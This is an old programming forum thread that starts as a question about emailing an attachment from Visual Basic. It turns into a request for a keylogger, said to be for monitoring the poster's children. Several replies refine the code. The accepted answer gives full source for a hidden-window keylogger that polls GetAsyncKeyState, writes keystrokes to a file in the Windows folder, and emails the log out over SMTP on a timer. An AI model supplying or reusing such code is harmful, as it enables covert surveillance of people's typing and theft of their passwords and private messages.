Solved

email with attatchment

Posted on 2004-04-24
13
283 Views
Last Modified: 2010-05-02
Hi, im a noob.

I know a bit of Visual Basic, but not too much. My knowledge certainly pales in comparison with you guys. Thus, I have come to seek your help.

I am trying to send an email with an attachment via visual basic, there doesn't need to be any text or anything. How do i go about doing this?
Sorry for the large scope of the question, or if i sound like a right idiot...
0
Comment
Question by:Redhotdragon
  • 4
  • 3
  • 3
  • +2
13 Comments
 
LVL 7

Expert Comment

by:OHDev2004
ID: 10909833
0
 
LVL 7

Expert Comment

by:OHDev2004
ID: 10909845
dont say that man ,, we all learn here,,  no matter the sum of knowledge someone has,, the more important is that you persist on learning and knowing more and more
0
 

Expert Comment

by:EmranHasan
ID: 10909975
Hi There,

I have my own code for sending mail with attachment. Its too large to be posted here. Let me know if you're interested.

Thanks

Md Emran Hasan
0
Courses: Start Training Online With Pros, Today

Brush up on the basics or master the advanced techniques required to earn essential industry certifications, with Courses. Enroll in a course and start learning today. Training topics range from Android App Dev to the Xen Virtualization Platform.

 
LVL 11

Expert Comment

by:bingie
ID: 10910071
0
 
LVL 18

Expert Comment

by:Sethi
ID: 10910078
One of the favorites. This is a free activex to send emails through VB:
http://www.freevbcode.com/ShowCode.Asp?ID=109
0
 
LVL 18

Expert Comment

by:Sethi
ID: 10910084
bingie types lesser words and won the race :-)
0
 
LVL 11

Expert Comment

by:bingie
ID: 10910087
:-)..thats one of the most common paste-ins..
0
 
LVL 18

Expert Comment

by:Sethi
ID: 10910091
:-) I agree and one of the best activex I have used
0
 

Author Comment

by:Redhotdragon
ID: 10912099
Thanks guys.
I like the activex :) could someone explain every thing in there? Or is that too much to ask...I just don't like adding code unless i know just what it is im adding...
Md Emran, if you could email me the code with explanations...I'd be very greatful.
Thanks all
~rhd
0
 
LVL 11

Expert Comment

by:bingie
ID: 10912115
There is a full documentation included in the package in MS Word format....It explains everything.

Bingie
0
 

Author Comment

by:Redhotdragon
ID: 10912131
Here's what im acutally trying to do..
I wrote this code:

Dim result, FileNumber As Integer
Dim log As String


Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer



Private Sub Timer1_Timer()

Form1.Visible = False

FileNumber = FreeFile



For i = 32 To 128

result = 0
result = GetAsyncKeyState(i)

    If result = -32767 Then
        Text1.Text = Text1.Text + Chr(i)
        log = Text1.Text
        Open "C:\Windows\logfilekey.txt" For Append Access Write As #FileNumber
        Write #FileNumber, log
        Close #FileNumber
    End If
   
Next i

End Sub

It is supposed to log all the keys i type, so that i can recover them if i accidently close an application without saving all my work. First of all, is this code efficient?
I would also like to put this code on other computers in the house so as to monitor what my children type and so i would like it to send me an email of the log file. How would i go about doing this?

Thanks..I've put all the points i have in...and i don't have that many!

Rhd
0
 
LVL 7

Expert Comment

by:OHDev2004
ID: 10912396
they way you try to record keystrokes with looks like the following when you open the logfile:

"H"
"HI"
"HI "
"HI M"
"HI MA"
"HI MAN"
"HI MAN "
"HI MAN H"
"HI MAN HO"
"HI MAN HOW"
"HI MAN HOW "
"HI MAN HOW A"
"HI MAN HOW AR"
"HI MAN HOW ARE"
"HI MAN HOW ARE "
"HI MAN HOW ARE Y"
"HI MAN HOW ARE YO"
"HI MAN HOW ARE YOU"
"HI MAN HOW ARE YOU "
"HI MAN HOW ARE YOU T"
"HI MAN HOW ARE YOU TO"
"HI MAN HOW ARE YOU TOD"
"HI MAN HOW ARE YOU TODA"
"HI MAN HOW ARE YOU TODAY"
"HI MAN HOW ARE YOU TODAY "
"HI MAN HOW ARE YOU TODAY  "
"HI MAN HOW ARE YOU TODAY  D"
"HI MAN HOW ARE YOU TODAY  DI"
"HI MAN HOW ARE YOU TODAY  DID"
"HI MAN HOW ARE YOU TODAY  DIDN"
"HI MAN HOW ARE YOU TODAY  DIDNT"

you are repeating all the input every time ,, if you want only to record all the keystrokes
which is in this case the last line every time you'll better do this
===================================================

Dim logx As String

Private Sub Form_Load()
Form1.Visible = False
End Sub


Private Sub Timer1_Timer()
FileNumber = FreeFile
For i = 32 To 128
result = 0
result = GetAsyncKeyState(i)
 If result = -32767 Then
   
     logx = logx & Chr(i)
     Open "C:\Windows\logfilekey.txt" For Output As #FileNumber
     Write #FileNumber, logx
     Close #FileNumber
 End If
Next i
End Sub
================================================

Wanna hear you comment on this
0
 
LVL 7

Accepted Solution

by:
OHDev2004 earned 295 total points
ID: 10912572
look here is a program i made to record keystrokes then send it to your email

==========================================================

'By OHDev
'In a Module
'You will need a timer and a Winsock Control
Public Declare Function KillTimer Lib "user32" (ByVal hWnd As Long, ByVal nIDEvent As Long) As Long
Public Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Public Declare Function SetTimer Lib "user32" (ByVal hWnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
Public logx As String ' the string which holds the keystrokes
Public TimeStart As String 'record the time the log started in
Public Const MyEmail  as string = "YourEmail@emailserver.com"
Public Const TimePerioud As Long = 1 * 1000 * 60  ' Every 30 minutes send mail

Sub SendMail()
Dim MailServer As String
MailServer = "mta208.mail.scd.yahoo.com" ' here you provide the email server which is used to send mail

If Form1.Winsock1.State <> sckClosed Then Form1.Winsock1.Close
Form1.Winsock1.RemoteHost = MailServer
Form1.Winsock1.RemotePort = 25
Form1.Winsock1.Connect 'connect to the server
'when connected the winsock1_connected function is called
End Sub


'===================================================
'In the Form1 ,, add a timer1 and a Winsock1 Control

Private Sub Form_Load()
Form1.Visible = False
SetTimer Me.hWnd, 0, TimePerioud, AddressOf SendMail 'to set a long timer for sending the email every timeperioud
TimeStart = Time ' to log the start time
End Sub

Private Sub Form_Unload(Cancel As Integer)
KillTimer Me.hWnd, 0
End Sub

Private Sub Timer1_Timer()
FileNumber = FreeFile
For i = 32 To 128
result = 0
result = GetAsyncKeyState(i)
 If result = -32767 Then
   
     logx = logx & Chr(i)
     Open "C:\Windows\logfilekey.SndData" For Output As #FileNumber
     Write #FileNumber, logx
     Close #FileNumber
 End If
Next i
End Sub


Private Sub Winsock1_Connect()
Dim SndData As String
SndData = SndData & "HELO aaa" & Cr & "MAIL FROM: <HOME >" & Cr & "RCPT TO: <" & Email & ">" & Cr
SndData = SndData & "DATA" & Cr & "From: My-Home <Children@Home>" & Cr
SndData = SndData & "Subject: " & "Keystroke Log between" & TimeStart & " and " & Time & Cr
SndData = SndData & logx & Cr
SndData = SndData & Cr & Cr & "." & Cr & Cr & "quit"
Winsock1.SendData SndData 'send the email

TimeStart = Time ' start a new perioud
logx = "" ' reset old log
End Sub

=====================================================

Hope this works
0

Featured Post

Live: Real-Time Solutions, Start Here

Receive instant 1:1 support from technology experts, using our real-time conversation and whiteboard interface. Your first 5 minutes are always free.

Question has a verified solution.

If you are experiencing a similar issue, please ask a related question

When designing a form there are several BorderStyles to choose from, all of which can be classified as either 'Fixed' or 'Sizable' and I'd guess that 'Fixed Single' or one of the other fixed types is the most popular choice. I assume it's the most p…
You can of course define an array to hold data that is of a particular type like an array of Strings to hold customer names or an array of Doubles to hold customer sales, but what do you do if you want to coordinate that data? This article describes…
Get people started with the process of using Access VBA to control Outlook using automation, Microsoft Access can control other applications. An example is the ability to programmatically talk to Microsoft Outlook. Using automation, an Access applic…
Show developers how to use a criteria form to limit the data that appears on an Access report. It is a common requirement that users can specify the criteria for a report at runtime. The easiest way to accomplish this is using a criteria form that a…

776 members asked questions and received personalized solutions in the past 7 days.

Join the community of 500,000 technology professionals and ask your questions.

Join & Ask a Question